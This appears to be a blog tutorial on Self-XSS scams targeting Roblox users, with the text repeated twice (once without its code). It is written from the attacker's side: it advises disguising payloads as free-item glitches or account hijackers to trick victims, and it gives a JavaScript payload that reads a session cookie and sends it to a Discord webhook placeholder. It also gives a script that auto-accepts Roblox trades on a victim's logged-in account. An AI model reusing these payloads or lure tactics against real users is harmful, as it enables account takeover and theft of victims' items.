Introductions
Some time ago I came across a popular Roblox scam, a screenshot is shown below:
This is a popular case of Self-XSS, where a user pretty much compromises themselves. Sadly the rblxapi.pro domain has been burned, so we cannot analyze the payload being run by this little stager. What we can do however is write out own malicious payloads.
Self XSS as a lucrative attack
Self-XSS has the same exact benefits of other XSS vectors such as reflected XSS. These benefits include:
- CSRF bypassing
- Arbitrary code execution
The only issue with Self-XSS is the fact that it is not reliant on a vulnerable webpage, it's reliant on a vulnerable person.
Manipulation tactics
As we know, nobody is just going to paste anything in their console or search bar unless they have a reason to. Your payload could pose as an account hijacker, or some free item glitch, etc. It all depends on who you are looking to exploit. The most popular vector Self-XSS is used for is Account Hijacking.
As Seen in this Facebook support page, Users run a malicious payload manually thinking it can hijack other accounts. The truth is, they are the ones hijacked.
Building our own payloads
We will be building a simple Self-XSS payload for the following test application (Written in PHP):
Creating 2 different sessions (by opening multiple browser instances, one in incognito and another not), you will get greeted with this:
Exploitation
We can now create our malicious payload, all we need to do is grab the
Running this is our victims browser, their
Going further
This is already, enough but lets say we want to attack an actual web application roblox.com for instance. Well, there's a few flaws in our current payload.
- The .ROBLOSECURITY cookie is flagged as HTTPOnly
- CORS Prevents us from exfiltrating data.
What we can do though, is make requests from
Accepting Arbitrary Trades
Running this on an authorized victims account accepts a trade automatically.
Fin
<3 Don't fall for Self-XSS
Some time ago I came across a popular Roblox scam, a screenshot is shown below:
This is a popular case of Self-XSS, where a user pretty much compromises themselves. Sadly the rblxapi.pro domain has been burned, so we cannot analyze the payload being run by this little stager. What we can do however is write out own malicious payloads.
Self XSS as a lucrative attack
Self-XSS has the same exact benefits of other XSS vectors such as reflected XSS. These benefits include:
- CSRF bypassing
- Arbitrary code execution
The only issue with Self-XSS is the fact that it is not reliant on a vulnerable webpage, it's reliant on a vulnerable person.
Manipulation tactics
As we know, nobody is just going to paste anything in their console or search bar unless they have a reason to. Your payload could pose as an account hijacker, or some free item glitch, etc. It all depends on who you are looking to exploit. The most popular vector Self-XSS is used for is Account Hijacking.
As Seen in this Facebook support page, Users run a malicious payload manually thinking it can hijack other accounts. The truth is, they are the ones hijacked.
Building our own payloads
We will be building a simple Self-XSS payload for the following test application (Written in PHP):
PHP:
<?php
session_start();
$id = session_id();
echo "<h1>Current Session ID: $id</h1>";
// run php -S localhost:8080
?>Creating 2 different sessions (by opening multiple browser instances, one in incognito and another not), you will get greeted with this:
Exploitation
We can now create our malicious payload, all we need to do is grab the
PHPSESSID cookie from document.cookies and send a fetch request to our exfiltration destination (a Discord webhook, in this case). Payload below:
JavaScript:
let session = document.cookie.split("; ")[1];
fetch(
"'WEBHOOK_LINK",
{
method: "post",
headers: {
"Content-Type": "application/json",
},
body: JSON.stringify({
username: 'scary 1337 haxor >:)',
content: "**`" + session + "`**"
})
}
);Running this is our victims browser, their
PHPSESSID will be hooked, and we will now have access to their account.Going further
This is already, enough but lets say we want to attack an actual web application roblox.com for instance. Well, there's a few flaws in our current payload.
- The .ROBLOSECURITY cookie is flagged as HTTPOnly
- CORS Prevents us from exfiltrating data.
What we can do though, is make requests from
roblox.com to their APIs, which are hosted on their subdomains. This bypasses the Cross Origin Policy due to the requests coming from roblox.com. Accepting Arbitrary Trades
JavaScript:
let tradeId = "ID";
$.ajax({
method: "POST",
url: `https://trades.roblox.com/v1/trades/${tradeId}/accept`,
contentType: "application/json"
}).then(
data => console.log(data)
).fail(
error => console.log(error.responseJSON.errors[0].message)
);Running this on an authorized victims account accepts a trade automatically.
Fin
<3 Don't fall for Self-XSS
